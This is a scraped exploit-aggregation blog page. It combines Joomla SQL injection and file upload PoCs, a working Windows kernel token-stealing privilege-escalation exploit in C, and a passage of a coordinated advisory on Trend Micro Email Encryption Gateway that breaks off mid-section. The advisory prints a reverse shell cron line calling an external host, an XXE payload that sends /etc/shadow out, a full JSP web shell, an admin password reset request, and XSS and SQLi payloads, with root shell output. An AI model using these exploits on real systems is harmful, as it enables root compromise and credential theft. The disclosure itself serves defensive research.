# # # #
# Exploit Title: Joomla! Component OS Property Real Estate 3.12.7 - SQL Injection
# Dork: N/A
# Date: 22.02.2018
# Vendor Homepage: https://www.joomdonation.com/
# Software Link: https://extensions.joomla.org/extensions/extension/vertical-markets/real-estate/os-property/
# Version: 3.12.7
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-7319
# # # #
# Exploit Author: Ihsan Sencan
# # # #
#
# POC:
#
# 1)
# http://localhost/[PATH]/os-property-layouts/search-tools/advanced-search?&option=com_osproperty&task=property_advsearch
# &cooling_system1=[SQL]
# &heating_system1=[SQL]
# &laundry=[SQL]
#
# # # #
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863562417
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# # # #
# Exploit Title: Joomla! Component Proclaim 9.1.1 - Arbitrary File Upload
# Dork: N/A
# Date: 22.02.2018
# Vendor Homepage: https://www.christianwebministries.org/
# Software Link: https://extensions.joomla.org/extensions/extension/living/religion/proclaim/
# Software Download: https://github.com/Joomla-Bible-Study/Joomla-Bible-Study/releases/download/v9.1.1/pkg_proclaim.zip
# Version: 9.1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-7316
# # # #
# Exploit Author: Ihsan Sencan
# # # #
#
# POC:
#
# 1)
# http://localhost/[PATH]/index.php?option=com_biblestudy&view=mediafileform&layout=edit&id=1
#
# http://localhost/[PATH]/images/biblestudy/media/[FILE]
#
# # # #
#include “stdafx.h”
#include <Windows.h>
#define DEVICE L”\\\\.\\nxfs-709fd562-36b5-48c6-9952-302da6218061″
#define DEVICE2 L”\\\\.\\nxfs-net-709fd562-36b5-48c6-9952-302da6218061{709fd562-36b5-48c6-9952-302da6218061}”
#define IOCTL 0x00222014
#define IOCTL2 0x00222030
#define OUT_SIZE 0x90
#define IN_SIZE 0x10
#define KTHREAD_OFFSET 0x124
#define EPROCESS_OFFSET 0x050
#define PID_OFFSET 0x0b4
#define FLINK_OFFSET 0x0b8
#define TOKEN_OFFSET 0x0f8
#define SYSTEM_PID 0x004
#define PARENT_PID 0x140
__declspec(naked)VOID TokenStealingShellcode()
{
__asm{
xor eax, eax;
mov eax, fs:[eax + KTHREAD_OFFSET];
mov eax, [eax + EPROCESS_OFFSET];
mov esi, [eax + PARENT_PID]; Get parent pid
Loop1:
mov eax, [eax + FLINK_OFFSET];
sub eax, FLINK_OFFSET;
cmp esi, [eax + PID_OFFSET];
jne Loop1;
mov ecx, eax;
mov ebx, [eax + TOKEN_OFFSET];
mov edx, SYSTEM_PID;
Search:
mov eax, [eax + FLINK_OFFSET];
sub eax, FLINK_OFFSET;
cmp[eax + PID_OFFSET], edx;
jne Search;
mov edx, [eax + TOKEN_OFFSET];
mov[ecx + TOKEN_OFFSET], edx;
add esp, 0x58;
add[esp], 5;
ret 4;
}
}
typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG ZeroBits,
PULONG AllocationSize,
ULONG AllocationType,
ULONG Protect
);
typedef NTSTATUS(WINAPI *PNtFreeVirtualMemory)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
PULONG RegionSize,
ULONG FreeType
);
int main()
{
HMODULE module = LoadLibraryA(“ntdll.dll”);
PNtAllocateVirtualMemory AllocMemory = (PNtAllocateVirtualMemory)GetProcAddress(module, “NtAllocateVirtualMemory”);
PNtFreeVirtualMemory FreeMemory = (PNtFreeVirtualMemory)GetProcAddress(module, “NtFreeVirtualMemory”);
SIZE_T size = 0x1000;
PVOID address1 = (PVOID)0x05ffff00;
NTSTATUS allocStatus = AllocMemory(GetCurrentProcess(),
&address1,
0,
&size,
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE);
if (allocStatus != 0)
{
printf(“[x]Couldnt alloc page\n”);
exit(-1);
}
printf(“[+] Allocated address at %p\n”, address1);
*(ULONG *)0x05fffff4 = 5;
*(ULONG *)0x060000ac = 0x20;
*(ULONG *)0x060001dc = 0x05ffff00;
*(ULONG *)(0x05ffff00 – 0x18) = 1;
*(ULONG *)(0x05ffff00 – 0x14) = 0;
PVOID address2 = (PVOID)0x1;
SIZE_T size2 = 0x1000;
allocStatus = AllocMemory(GetCurrentProcess(),
&address2,
0,
&size2,
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE);
if (allocStatus != 0)
{
printf(“[x]Couldnt alloc page2\n”);
exit(-1);
}
*(ULONG *)0x64 = (ULONG)&TokenStealingShellcode;
printf(“[+] Mapped null page\n”);
char inBuff[IN_SIZE];
char outBuff[OUT_SIZE];
HANDLE handle = 0;
DWORD returned = 0;
memset(inBuff, 0x41, IN_SIZE);
memset(outBuff, 0x43, OUT_SIZE);
*(ULONG *)inBuff = 0x00000190;
*(ULONG *)(inBuff + 4) = 0x00000001;
printf(“[+] Creating nxfs-net… device through IOCTL 222014\n”);
handle = CreateFile(DEVICE,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
if (handle == INVALID_HANDLE_VALUE)
{
printf(“[x] Couldn’t open device\n”);
exit(-1);
}
int ret = DeviceIoControl(handle,
IOCTL,
inBuff,
IN_SIZE,
outBuff,
OUT_SIZE,
&returned,
0);
HANDLE handle2 = CreateFile(DEVICE2,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
char inBuff2[0x30];
char outBuff2[0x30];
printf(“[+] Triggering exploit…”);
ret = DeviceIoControl(handle2,
IOCTL2,
inBuff2,
0x30,
outBuff2,
0x30,
&returned,
0);
return 0;
}
Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/
Trend Micro Email Encryption Gateway Multiple Vulnerabilities
1. *Advisory Information*
Title: Trend Micro Email Encryption Gateway Multiple Vulnerabilities
Advisory ID: CORE-2017-0006
Advisory URL:
http://www.coresecurity.com/advisories/trend-micro-email-encryption-gateway-multiple-vulnerabilities
Date published: 2018-02-21
Date of last update: 2018-02-21
Vendors contacted: Trend Micro
Release mode: Coordinated release
2. *Vulnerability Information*
Class: Cleartext Transmission of Sensitive Information [CWE-319],
External Control of File Name or Path [CWE-73], Insufficient
Verification of Data Authenticity [CWE-345], External Control of File
Name or Path [CWE-73], Missing Authentication for Critical Function
[CWE-306], Cross-Site Request Forgery [CWE-352], Improper Restriction of
XML External Entity Reference [CWE-611], Improper Neutralization of
Input During Web Page Generation ('Cross-site Scripting') [CWE-79],
Improper Neutralization of Input During Web Page Generation ('Cross-site
Scripting') [CWE-79], Improper Neutralization of Input During Web Page
Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of
Special Elements used in an SQL Command [CWE-89], Improper
Neutralization of Special Elements used in an SQL Command [CWE-89],
Improper Neutralization of Special Elements used in an SQL Command
[CWE-89]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2018-6219, CVE-2018-6220, CVE-2018-6221, CVE-2018-6222,
CVE-2018-6223, CVE-2018-6224, CVE-2018-6225, CVE-2018-6226,
CVE-2018-6226, CVE-2018-6227, CVE-2018-6228, CVE-2018-6229, CVE-2018-6230
3. *Vulnerability Description*
Trend Micro's website states that:[1]
Encryption for Email Gateway is a Linux-based software solution providing
the ability to perform the encryption and decryption of email at the
corporate gateway, regardless of the email client, and the platform from
which it originated. The encryption and decryption of email on the TMEEG
client is controlled by a Policy Manager that enables an administrator
to configure policies based on various parameters, such as sender and
recipient email addresses, keywords, or PCI compliance. Encryption for
Email Gateway presents itself as an SMTP interface and delivers email
out over an SMTP to configured outbound MTAs. This enables easy
integration with other email server-based products, be them content
scanners, mail servers, or archiving solutions."
Multiple vulnerabilities were found in the Trend Micro Email Encryption
Gateway web console that would allow a remote unauthenticated attacker
to gain command execution as root.
We also present two additional vectors to achieve code execution from a
man-in-the-middle position.
4. *Vulnerable Packages*
. Trend Micro Email Encryption Gateway 5.5 (Build 1111.00)
Other products and versions might be affected, but they were not tested.
5. *Vendor Information, Solutions and Workarounds*
Trend Micro published the following Security Notes:
.
https://success.trendmicro.com/solution/1119349-security-bulletin-trend-micro-email-encryption-gateway-5-5-multiple-vulnerabilities
6. *Credits*
These vulnerabilities were discovered and researched by Leandro Barragan
and Maximiliano Vidal from Core Security Consulting Services. The
publication of this advisory was coordinated by Alberto Solino from Core
Advisories Team.
7. *Technical Description / Proof of Concept Code*
Trend Micro Email Encryption Gateway includes a web console to perform
administrative tasks. Section 7.4 describes a vulnerability in this
console that can be exploited to gain command execution as root. The
vulnerable functionality is accessible only to authenticated users, but
it is possible to combine 7.4 with the vulnerability presented in
section 7.5 to bypass this restriction and therefore execute root
commands from the perspective of a remote unauthenticated attacker.
The application does also use an insecure update mechanism that allows
an attacker in a man-in-the-middle position to write arbitrary files and
install arbitrary RPM packages, leading to remote command execution as
the root user.
Additional Web application vulnerabilities were found, including
cross-site request forgery (7.6), XML external entity injection (7.7),
several cross-site scripting vulnerabilities (7.8, 7.9, 7.10), and SQL
injection vulnerabilities (7.11, 7.12, 7.13).
7.1. *Insecure update via HTTP*
[CVE-2018-6219]
Communication to the update servers is unencrypted. The following URL is
fetched when the application checks for updates:
/-----
[Request #1]
http://downloads.privatepost.com/files/TMEEG/updates/data.html
-----/
The product expects to retrieve a plain-text file with the following
format:
/-----
[Version Info]
[Installation RPM file name]
[Path to release notes]
-----/
If a new update is found, then the RPM file is downloaded from the
following URL:
/-----
[Request #2]
http://downloads.privatepost.com/files/TMEEG/updates/[Installation RPM
file name]
-----/
This means that the product does not do any kind of certificate
validation or public key pinning, which makes it easier for an attacker
to eavesdrop and tamper the data.
7.2. *Arbitrary file write leading to command execution*
[CVE-2018-6220]
The following code snippet is responsible for downloading the update
file (com/identum/pmg/web/CheckForUpdates.java):
/-----
FileDownload fd = new FileDownload();
if (!fd.download(updateURLRoot + "/" + rpmFileName, "/tmp/" +
rpmFileName)) {
return 10;
}
[...]
-----/
The rpmFileName variable is controlled by the attacker, as it is taken
from the aforementioned update file. As a consequence, the attacker
controls the path where the update file is going to be downloaded. The
RPM file is written by the root user with 0644 permissions. Being able
to write to the file system as root opens the door to several code
execution vectors on Linux machines.
In this PoC we present one vector which consist on creating a cron job
on /etc/cron.d directory.
The attacker can send the following response to [Request #1]:
/-----
HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 23 May 2017 14:39:46 GMT
Connection: close
Content-Length: 26
5.7
../../../../../../../etc/cron.d/test
test.html
-----/
As a result, the server will create the file /etc/cron.d/test. Its
contents are also controlled by the attacker. When the update launches,
the appliance will download it from the following URL:
/-----
http://downloads.privatepost.com/files/TMEEG/updates/../../../../../../../etc/cron.d/test
-----/
The attacker can tamper the server's response and inject arbitrary data,
such as a reverse shell payload:
/-----
* * * * * root /bin/bash -i >& /dev/tcp/external_server/1080 0>&1
-----/
gaining code execution upon exploitation:
/-----
$ sudo nc -lvvp 1080
Listening on [0.0.0.0] (family 0, port 1080)
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport
52171)
bash: no job control in this shell
[root@ localhost ~]# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
context=user_u:system_r:unconfined_t
-----/
7.3. *Unvalidated software updates*
[CVE-2018-6221]
The update mechanism described in 7.2 does not validate the RPM file
downloaded.
An attacker in a man-in-the-middle position could tamper with the RPM
file and inject its own.
The following code snippet is responsible for installing the unvalidated
RPM (com/identum/pmg/web/CheckForUpdates.java):
/-----
try
{
System.out.println("running file:");
System.out.println("rpm --upgrade --nodeps /tmp/" + rpmFileName);
Process process = Runtime.getRuntime().exec("rpm --upgrade
--nodeps /tmp/" + rpmFileName);
[..]
{
-----/
In the following Proof of Concept, we crafted a malicious RPM file that
executes a reverse shell once opened. This can be achieved by adding a
reverse shell script to %pre section of RPM's SPEC file, which is
executed previous to any installation step. As can be seen, this results
in code execution as root:
/-----
$ sudo nc -lvvp 1080
Listening on [0.0.0.0] (family 0, port 1080)
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport
40445)
bash: no job control in this shell
[root@ localhost /]# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
context=root:system_r:rpm_script_t:SystemLow-SystemHigh
-----/
7.4. *Arbitrary logs location leading to command execution*
[CVE-2018-6222]
The location of the log files can be changed in the logConfiguration.do
page. MimeBuildServer logs are particularly interesting because its
contents can be controlled by an attacker.
The first step is to point the log file to the Web application root. The
following request redirects MimeBuildServer logs to
/opt/tomcat/webapps/ROOT/pepito.jsp and enables full debug logs:
/-----
POST /logConfiguration.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/logConfiguration.do
Content-Type: application/x-www-form-urlencoded
Content-Length: 798
Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
client0=KeyManager&warnLevel0=3&infoLevel0=1&debugLevel0=0&path0=%2Fvar%2Flog%2Fppg%2Fkeymanserver.log&client1=LauncherServer&warnLevel1=3&infoLevel1=1&debugLevel1=0&path1=%2Fvar%2Flog%2Fppg%2Flauncher.log&client2=KeyManagerClient&warnLevel2=3&infoLevel2=1&debugLevel2=0&path2=%2Fvar%2Flog%2Fppg%2Fkeymanclient.log&client3=MTAInterface&warnLevel3=3&infoLevel3=1&debugLevel3=0&path3=%2Fvar%2Flog%2Fppg%2Fmtainterface.log&client4=PolicyManagerServer&warnLevel4=3&infoLevel4=1&debugLevel4=0&path4=%2Fvar%2Flog%2Fppg%2Fpolicymanager.log&client5=SupervisorServer&warnLevel5=0&infoLevel5=3&debugLevel5=0&path5=%2Fvar%2Flog%2Fppg%2FSupervisorServer.log&client6=MimeBuilderServer&warnLevel6=3&infoLevel6=3&debugLevel6=3&path6=%2Fopt%2Ftomcat%2Fwebapps%2FROOT%2Fpepito.jsp&action=logConfiguration%3Apostback
-----/
The second step is to update the MimeBuilder configuration and insert
arbitrary JSP code. One candidate is the "Encrypted meeting request
email message" form.
/-----
POST /mimebuilderconfig.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/MimeBuilderConfig.do
Content-Type: application/x-www-form-urlencoded
Content-Length: 2915
Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
addEncryptionXHeader=on&encryptionXHeader=X-TMEEG-ENCRYPTED&addDecryptionXHeader=on&decryptionXHeader=X-TMEEG-DECRYPTED&addDecryptionNotice=off&decryptionNotice=javascript%3A%2F*%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%2B%2F%22%2F%2B%2Fonmouseover%3D1%2F%2B%2F%5B*%2F%5B%5D%2F%2B%28%28new%28Image%29%29.src%3D%28%5B%5D%2B%2F%5C%2Ffud3uvq5miuqpikdqya3wzicu30woofc7z2nr%5C.burpcollaborator.net%2F%29.replace%28%2F%5C%5C%2Fg%2C%5B%5D%29%29%2F%2F%27%3E&errorOnVerificationFailure=off&meetingRequestEmailText=%3C%25%40+page+import%3D%22java.util.*%2Cjava.io.*%22%25%3E%0D%0A%3C%25%0D%0A%2F%2F%0D%0A%2F%2F+JSP_KIT%0D%0A%2F%2F%0D%0A%2F%2F+cmd.jsp+%3D+Command+Execution+%28unix%29%0D%0A%2F%2F%0D%0A%2F%2F+by%3A+Unknown%0D%0A%2F%2F+modified%3A+27%2F06%2F2003%0D%0A%2F%2F%0D%0A%25%3E%0D%0A%3CHTML%3E%3CBODY%3E%0D%0A%3CFORM+METHOD%3D%22GET%22+NAME%3D%22myform%22+ACTION%3D%22%22%3E%0D%0A%3CINPUT+TYPE%3D%22text%22+NAME%3D%22cmd%22%3E%0D%0A%3CINPUT+TYPE%3D%22submit%22+VALUE%3D%22Send%22%3E%0D%0A%3C%2FFORM%3E%0D%0A%3Cpre%3E%0D%0A%3C%25%0D%0Aif+%28request.getParameter%28%22cmd%22%29+%21%3D+null%29+%7B%0D%0A++++++++out.println%28%22Command%3A+%22+%2B+request.getParameter%28%22cmd%22%29+%2B+%22%3CBR%3E%22%29%3B%0D%0A++++++++Process+p+%3D+Runtime.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B%0D%0A++++++++OutputStream+os+%3D+p.getOutputStream%28%29%3B%0D%0A++++++++InputStream+in+%3D+p.getInputStream%28%29%3B%0D%0A++++++++DataInputStream+dis+%3D+new+DataInputStream%28in%29%3B%0D%0A++++++++String+disr+%3D+dis.readLine%28%29%3B%0D%0A++++++++while+%28+disr+%21%3D+null+%29+%7B%0D%0A++++++++++++++++out.println%28disr%29%3B+%0D%0A++++++++++++++++disr+%3D+dis.readLine%28%29%3B+%0D%0A++++++++++++++++%7D%0D%0A++++++++%7D%0D%0A%25%3E%0D%0A%3C%2Fpre%3E%0D%0A%3C%2FBODY%3E%3C%2FHTML%3E%0D%0A%0D%0A&encryptionVersion=zd&replyToSender=on&replyToAll=on&replyForward=on&zdMainTemplate=EncryptedMessageTemplate.html&zdAttachmentTemplate=EncryptedAttachmentTemplate.html&zdAttachmentPayloadTemplate=EncryptedAttachmentPayloadTemplate.html&preProcessMaxBlockSize=1914&preProcessMainDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&preProcessInlineDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&b64EncodeAttachments=off&replyToSenderZdv4=on&replyToAllZdv4=on&replyForwardZdv4=on&zdMainTemplateZdv4=V4EncryptedMessageTemplate.htmlbt0ly&preProcessMaxBlockSizeZdv4=1914&preProcessMainDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22&preProcessInlineDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22&b64EncodeAttachmentsZdv4=off&maxProcessThreads=10&mimeBuilderAction=mimeconfig%3Apostback
-----/
The next time the service components are restarted, the log file will be
created with the desired JSP code.
With the sample JSP code from the previous request, the attacker would
then navigate to pepito.jsp and execute arbitrary commands as root:
/-----
https://[server]/pepito.jsp?cmd=id
Command: id
uid=0(root) gid=0(root) context=system_u:system_r:java_t
-----/
7.5. *Missing authentication for appliance registration*
[CVE-2018-6223]
The registration endpoint is provided for system administrators to
configure the virtual appliance upon deployment. However, this endpoint
remains accessible without authentication even after the appliance is
configured, which would allow attackers to set configuration parameters
such as the administrator username and password.
The following request changes the administrator password to "sombrero":
/-----
POST /register.jsp HTTP/1.1
Host: [server]
Content-Type: application/x-www-form-urlencoded
Content-Length: 414
action=register%3Apostback&activationCode1=EE&activationCode2=XXXX&activationCode3=XXXX&activationCode4=XXXX&activationCode5=XXXX&activationCode6=XXXX&activationCode7=XXXX&resellerCode=&hostName=tester.localdomain®Email=pentester1@coresecurity.com&contactName=Test+Test&contactEmail=pentester1@coresecurity.com&contactPhone=%2B5491145712447&userName=administrator&password=sombrero&confirmPassword=sombrero
-----/
Note that a valid activation code is required. This code can be easily
obtained by requesting a trial from Trend Micro's website.
7.6. *Lack of cross-site request forgery protection*
[CVE-2018-6224]
There are no Anti-CSRF tokens in any forms on the Web interface. This
would allow an attacker to submit authenticated requests when an
authenticated user browses an attacker-controlled domain.
This vulnerability can be chained with 7.4 and lead to remote command
execution. It could also be abused to force updates once the attacker is
in a man-in-the-middle position to exploit 7.2 or 7.3, which would also
lead to remote command execution.
The following proof of concept starts the check for updates process.
/-----
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://[server]/checkForUpdates.do">
<input type="submit" value="Submit request" />
</form>
</body>
</html>
-----/
7.7. *XML external entity injection in configuration.jsp*
[CVE-2018-6225]
The pciExceptionXml parameter of the configuration.jsp script is
vulnerable to XML external entity injection.
The following proof of concept uses external entities to send the
/etc/shadow file to an external server.
/-----
POST /configuration.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 938
Cookie: JSESSIONID=E8357364AE748ACB904BE6E34F47F2DB
Connection: close
Upgrade-Insecure-Requests: 1
incomingPort=25&externalHost=&outboundExternalPort=25&internalHost=&outboundInternalPort=25&pciUseSemantics=on&pciScanAttachments=on&pciExceptionbetween0=on&pciExceptionbetween1=on&pciExceptionText0=on&enabledInput=on&exceptionInput=&enabledInput=on&editExceptionInput=&enabledInput=on&startInput=&endInput=&enabledInput=on&startInput=&endInput=&action=configuration%3Apostback&pciExceptionXml=<%3fxml+version%3d"1.0"+encoding%3d"utf-8"%3f>
<!DOCTYPE+roottag+[
+<ENTITY+%25+file+SYSTEM+"file%3a///etc/shadow">
+<!ENTITY+%25+dtd+SYSTEM+"http%3a//external_server/combine.dtd">
%25dtd%3b]>
<ci_exceptions><pci_exception+enabled%3d"true"><tart><[CDATA[<head>]]>%26send%3b</start><end></head>]]></end></pci_exception><pci_exception+enabled%3d"true"><start><![CDATA[<style></start><end></style></end></pci_exception><pci_exception+enabled%3d"true"><start><head/></start></pci_exception></pci_exceptions>
-----/
The combine.dtd file is hosted on an external server, and its contents
are:
/-----
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM
'gopher://external_server:1080/?%file;'>">
%all;
$ sudo nc -lvvp 1080
Listening on [0.0.0.0] (family 0, port 1080)
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport
49676)
root:$1$8PtHrAEM$DmIkWpxYSOzhM0KLJGZvY/:14090:0:99999:7:::
bin:*:14089:0:99999:7:::
daemon:*:14089:0:99999:7:::
adm:*:14089:0:99999:7:::
lp:*:14089:0:99999:7:::
sync:*:14089:0:99999:7:::
shutdown:*:14089:0:99999:7:::
halt:*:14089:0:99999:7:::
mail:*:14089:0:99999:7:::
news:*:14089:0:99999:7:::
uucp:*:14089:0:99999:7:::
operator:*:14089:0:99999:7:::
games:*:14089:0:99999:7:::
gopher:*:14089:0:99999:7:::
ftp:*:14089:0:99999:7:::
nobody:*:14089:0:99999:7:::
rpm:!!:14089:0:99999:7:::
dbus:!!:14089:0:99999:7:::
exim:!!:14089:0:99999:7:::
nscd:!!:14089:0:99999:7:::
vcsa:!!:14089:0:99999:7:::
rpc:!!:14089:0:99999:7:::
sshd:!!:14089:0:99999:7:::
pcap:!!:14089:0:99999:7:::
haldaemon:!!:14089:0:99999:7:::
postgres:!!:14090::::::
tomcat:!!:14090:0:99999:7:::
xfs:!!:14179::::::
postfix:!!:14194::::::
-----/
These actions require the user to be authenticated within the Web
console, so an attacker would need to obtain valid credentials first.
Possible vectors to achieve this include exploiting any of the XSS
issues described in 7.8, 7.9 and 7.10, or leveraging the XSRF
vulnerability described in 7.6.
7.8. *Reflected cross-site scripting in keymanserverconfig.jsp*
[CVE-2018-6226]
The deniedKeysExpireTimeout and keyAge parameters of the
keymanserverconfig.jsp script are vulnerable to cross-site scripting.
The following is a proof of concept to demonstrate the vulnerability:
/-----
https://[server]/keymanserverconfig.jsp?keyAge=3&keyAgeUnits=m&deniedKeysExpireTimeout=6000yta9q%22%3e%3cscript%3ealert(1)%3c%2fscript%3ekb4w2xa9v0d&keymanServerAction=kmsconfig%3Apostback
-----/
7.9. *Reflected cross-site scripting in mimebuilderconfig.jsp*
[CVE-2018-6226]
The following parameters of the mimebuilderconfig.jsp script are
vulnerable to cross-site scripting: decryptionXHeader, encryptionXHeader,
meetingRequestEmailText, zdAttachmentPayloadTemplate, zdAttachmentTemplate,
zdMainTemplate, zdMainTemplateZdv4.
The following is a proof of concept to demonstrate the vulnerability:
/-----
https://[server]/mimebuilderconfig.jsp?zdMainTemplateZdv4=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
-----/
7.10. *Stored cross-site scripting in editPolicy.jsp*
[CVE-2018-6227]
The hidEmails parameter of the editPolicy.jsp script is vulnerable to
cross-site scripting.
The following request adds a policy for the email address
"<script>alert(1)</script>":
/-----
POST /editPolicy.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/policies.jsp
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
Cookie: JSESSIONID=7D25474429E52C823C63357255A5E781
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
action=editPolicy%3Apostback&hidEmails=<script>alert(1)</script>&hidConditions=&hidRuleId=1&hidDelete=&ruleResult=3&ruleTarget=3&envId=1
-----/
The input will be stored unescaped and rendered every time the policies.do
script is executed.
Excerpt of the policies.do source showing the injected script tag:
/-----
<tr>
<td ondblclick="edit_policy(this);" style="border:solid 1px
#AAAAAA;background-color:#F5F5F5;cursor:move;"
onmousedown="mouse_down(this, event);" onmouseup="mouse_up(this);"
onmouseout="mouse_out(this);"
onmousemove="mouse_move(this, event);">Don't decrypt messages to
<script>alert(1)</script>
-----/
7.11. *SQL injection in policies.jsp*
[CVE-2018-6228]
The hidEditId parameter of the policies.jsp script is not sanitized,
leading to SQL injection.
As can be seen in the following excerpt, the script reads a parameter
named hidEditId and forwards it to the editPolicy.jsp script if it is
not set to -1.
From webapps/ROOT/policies.jsp:
/-----
<% if (request.getParameter("hidEditId") != null)
if (request.getParameter("hidEditId").compareTo("-1") != 0)
{
String hid_edit_id = request.getParameter("hidEditId");
%><jsp:forward page="editPolicy.jsp"><jsp:param name="editRuleId"
value="<%= hid_edit_id %>"/></jsp:forward><%
}
[...]
-----/
The editPolicy.jsp script will pass this parameter without any
modification to the loadRuleDetails method, which is defined in the
formEditPolicy class
From webapps/ROOT/editPolicy.jsp:
/-----
if (request.getParameter("editRuleId") != null)
frm.loadRuleDetails(request.getParameter("editRuleId"));
[...]
-----/
Finally, the loadRuleDetails method will use the unsanitized parameter
it receives to build a dynamic SQL statement as follows:
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy:
/-----
public boolean loadRuleDetails(String ruleId)
{
_databaseError = false;
try
{
_ruleId = ruleId;
_ruleResultId = dataStore.getRuleResultId(ruleId);
_ruleForId = dataStore.getRuleForId(ruleId);
_ruleEmails = dataStore.getRuleAddreses(ruleId);
_ruleSubRules = dataStore.getSubRules(ruleId);
[...]
public String getRuleResultId(String ruleId) throws SQLException
{
Connection cnn = MySQLClient.GetInstance().GetConnection();
Statement query = cnn.createStatement();
String ruleResultId = "";
ResultSet rs = null;
try
{
rs = query.executeQuery("SELECT RuleResultId FROM RulesEngine
WHERE Id = " + ruleId);
[...]
-----/
The contents of ruleId will be appended to the SELECT query, resulting
in a SQL injection.
The following PoC opens a policy to edit, even though the hidEditId
parameter is invalid. Due to the "always true" comparison, the first
element is retrieved:
/-----
POST /policies.jsp HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Referer: https://server/editPolicy.jsp
Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2
Connection: close
Upgrade-Insecure-Requests: 1
action=policies%3Apostback&hidSequence=&hidEditId=178275005%20or%201%3d1%20LIMIT%201
-----/
7.12. *SQL injection in editPolicy.jsp*
[CVE-2018-6229]
The hidRuleId parameter of the editPolicy.jsp script is not sanitized,
leading to SQL injection in a DELETE statement.
The following excerpt shows that the request object is forwarded to the
DeletePolicy method implemented in the formEditPolicy class.
From webapps/ROOT/editPolicy.jsp:
/-----
<% if (frm.isPostBack())
{
if (request.getParameter("hidDelete").compareTo("YES") == 0)
{
frm.DeletePolicy(request);
}
[...]
-----/
DeletePolicy reads the hidRuleId parameter and calls deletePolicy with
it, without doing any sanitization.
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy:
/-----
public boolean DeletePolicy(HttpServletRequest request)
{
String ruleId = request.getParameter("hidRuleId");
boolean success = dataStore.deletePolicy(ruleId);
_databaseError = (!success);
return success;
}
-----/
